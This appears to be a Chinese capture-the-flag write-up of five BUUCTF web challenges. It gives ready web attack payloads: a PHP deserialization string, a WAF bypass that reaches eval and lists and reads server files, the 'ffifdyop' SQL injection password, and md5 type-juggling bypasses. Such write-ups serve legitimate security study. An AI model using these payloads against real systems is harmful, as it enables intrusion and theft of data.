BUUCTF-Web方向16-20wp

news/2025/2/22 13:14:14/

目录

    • [极客大挑战 2019]PHP
    • [ACTF2020 新生赛]BackupFile
    • [RoarCTF 2019]Easy Calc
    • [极客大挑战 2019]BuyFlag
    • [BJDCTF2020]Easy MD5

[极客大挑战 2019]PHP

由内容提示应该存在源码备份,常见的如下,一个个尝试

后缀:tar tar.gz zip rar
名字:www web website backup back wwwroot temp

访问www.zip,下载下来

解压查看

index.php

flag.php

class.php

<?php
include 'flag.php';error_reporting(0);class Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;}function __wakeup(){$this->username = 'guest';}function __destruct(){if ($this->password != 100) {echo "</br>NO!!!hacker!!!</br>";echo "You name is: ";echo $this->username;echo "</br>";echo "You password is: ";echo $this->password;echo "</br>";die();}if ($this->username === 'admin') {global $flag;echo $flag;}else{echo "</br>hello my friend~~</br>sorry i can't give you the flag!";die();}}
}
?>

写一个脚本构造

<?php
class Name{private $username = 'admin';private $password = 100;
}
$A=new Name();
echo serialize($A);
?>

结果如下

O:4:"Name":2:{s:14:" Name username";s:5:"admin";s:14:" Name password";i:100;}
  • 这里需要绕过**__wakeup**函数,而__wakeup函数存在一个特性,当成员属性数目大于实际数目时才可绕过wakeup
  • 由于序列化的存在空字符,故需要**%00来代替,即空字符的url编码**
?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

拿到flag

[ACTF2020 新生赛]BackupFile

题目提示备份文件

后缀:tar tar.gz zip rar
名字:www web website backup back wwwroot temp

除了以上这些,还有**.bak/.swp/.old**,都可以试试

这里使用dirsearch扫出来index.php.bak文件,下载下来

使用记事本打开

<?php
include_once "flag.php";if(isset($_GET['key'])) {$key = $_GET['key'];if(!is_numeric($key)) {           //检查是否为数字exit("Just num!");}$key = intval($key);             //将变量转换为整数,eg:intval("cat12")=0  intval("3.14")=3$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";if($key == $str) {               //注意这里的==符号echo $flag;}
}
else {echo "Try to find out source file!";
}

由于**==的特性,php是一种弱语言,所以在比较的时候,会自动将字符串转换为数字比较,即123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3=123**,这里可以查看intval函数的转换机制

?key=123
?key=123e4     //123*e的4次方,但是经过转换是123

得到flag

[RoarCTF 2019]Easy Calc

打开环境,输入1+1试试

查看源码,发现calc.php,并且注释提示有waf

访问看看,代码如下

<?php
error_reporting(0);
if(!isset($_GET['num'])){                          //isset:检测变量是否存在show_source(__FILE__);
}else{$str = $_GET['num'];$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];  //黑名单foreach ($blacklist as $blackitem) {             //blackitem在blacklist中遍历,每次调用的值进入if语句比对if (preg_match('/' . $blackitem . '/m', $str)) {       //检测$str是否包含黑名单里的字符串die("what are you want to do?");}}eval('echo '.$str.';');
}
?> 

当我们输入被过滤的字符时,返回结果不是**“what are you want to do?”,而是如下结果,应该被waf绕过**了

测试发现可以解析数字,如果带有字符则会被过滤,尝试绕过waf并查看根目录,在num参数前添加空格绕过是为了将**? num解析成?num**即正常,绕过字符串无法解析

  • var_dump():打印字符串
  • scandir():查看指定目录并返回该目录中的文件和子目录的名称
url? num=var_dump(scandir(chr(47)))     //chr(47)= /  是ascii码
url?+num=var_dump(scandir(chr(47)))
url?/**/num=var_dump(scandir(chr(47)))

查找到f1agg

此时我们需要构造 /f1agg

chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)

file_get_contents():读取文件的内容并将其作为字符串返回

得到flag

[极客大挑战 2019]BuyFlag

打开环境,查看源码

访问该链接

看看源码,得到下面这个信息

	~~~post money and password~~~               //利用post方式传入money和password
if (isset($_POST['password'])) {$password = $_POST['password'];if (is_numeric($password)) {               //password必须是纯数字echo "password can't be number</br>";}elseif ($password == 404) {             //password为404,因为是==号,所以可用404ad绕过,会解析为404echo "Password Right!</br>";}
}

抓包看看

注意cookie这个地方,查看gpt

image-20250221165639951

结合回显,需要我们是学生身份,将user=0改为user=1

此时回显,数字太长了,用科学计数法表示,在php中,1e9实际等于1*10的9次方

[BJDCTF2020]Easy MD5

打开环境,一个输入框,看看源码和网络信息,有个提示:

select * from 'admin' where password=md5($pass,true)   //$pass经过md5加密后,如果可用转换回二进制则转换,否则转换回16进制

随意输入看看,有一个传参点password

这里介绍一个万能密码-ffifdyop,经过md5加密后的值再解密为16进制是**'or’6É]™é!r,ùíb**,可用进行sql注入

成功进入

$a = $GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){      //因为是弱比较,故需要a!=b但是md5值相同的// wow, glzjin wants a girl friend.
}

利用a=240610708&b=QNKCDZO绕过

看看源码:

 <?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){   //强比较echo $flag;
} 

利用数组绕过


http://www.ppmy.cn/news/1574164.html

相关文章

人工智能驱动的自动驾驶:技术解析与发展趋势

&#x1f30d; 人工智能&#xff08;AI&#xff09;正在彻底变革自动驾驶技术。 从感知到决策&#xff0c;从定位到控制&#xff0c;AI 的发展让汽车越来越接近真正的无人驾驶。本文将详细解析 AI 在自动驾驶中的核心应用&#xff0c;深入探讨各个关键技术&#xff0c;并展望未…

小程序的分包

1.分包的概念以及基本用法 2.在小程序项目里面添加自己的分包 3.给分包加上别名 4.查看分包体积大小 5.分包的打包原则 6.分包的引用原则 7.独立分包 8.分包的预下载

[GESP202406 六级] 二叉树

题目描述 小杨有⼀棵包含 n n n 个节点的二叉树&#xff0c;且根节点的编号为 1 1 1。这棵二叉树任意⼀个节点要么是白色&#xff0c;要么是黑色。之后小杨会对这棵二叉树进行 q q q 次操作&#xff0c;每次小杨会选择⼀个节点&#xff0c;将以这个节点为根的子树内所有节点…

C#功能测试

一、List 内部元素为引用 src[0]的Name为"11"&#xff0c;说明修改了引用 List<Source> src new List<Source>(); src.Add(new Source() { Name "1", Age 1, Description "1" }); src.Add(new Source() { Name "2"…

一篇文章理解常用的前端设计模式

前端设计模式 一.设计模式概览 设计模式是针对软件设计开发过程中反复出现的某类问题的通用解决方案。设计模式更多的是指导思想和方法论&#xff0c;而不是现成的代码&#xff0c;每种设计模式都有每种语言中的具体实现方式。学习设计模式更多是理解各个模式的内在思想和解决…

深入了解 mica-auto:自动生成 Java SPI 和 Spring Boot 配置的利器

1. mica-auto 出现的背景 在 Java 开发中,尤其是在构建 Spring Boot 项目和使用 Java SPI(Service Provider Interface)机制时,开发者常常面临配置文件编写的繁琐问题。 1.1 Java SPI 的配置痛点 Java SPI 是一种服务发现机制,允许第三方为程序提供扩展实现。使用 SPI …

基于LangGraph和Ollama实现可调用AI搜索引擎Tavily的Agentic RAG问答机器人

这篇博客将和大家分享如何快速实现一个运行逻辑相较于传统链式RAG&#xff08;用户询问 -> 检索相关信息作为上下文 -> LLM推理回复&#xff09;更为智能、适应性更强的Agentic RAG Chatbot&#xff08;实现思路参考 Langgraph Agentic RAG 实现官方文档教程&#xff09;…

UE_C++ —— Container TSet

目录 一&#xff0c;TSet 二&#xff0c;Creating and Filling a Set Editing UPROPERTY TSets 三&#xff0c;Iteration 四&#xff0c;Queries 五&#xff0c;Removal 六&#xff0c;Sorting 七&#xff0c;Operators 八&#xff0c;Slack 九&#xff0c;DefaultKe…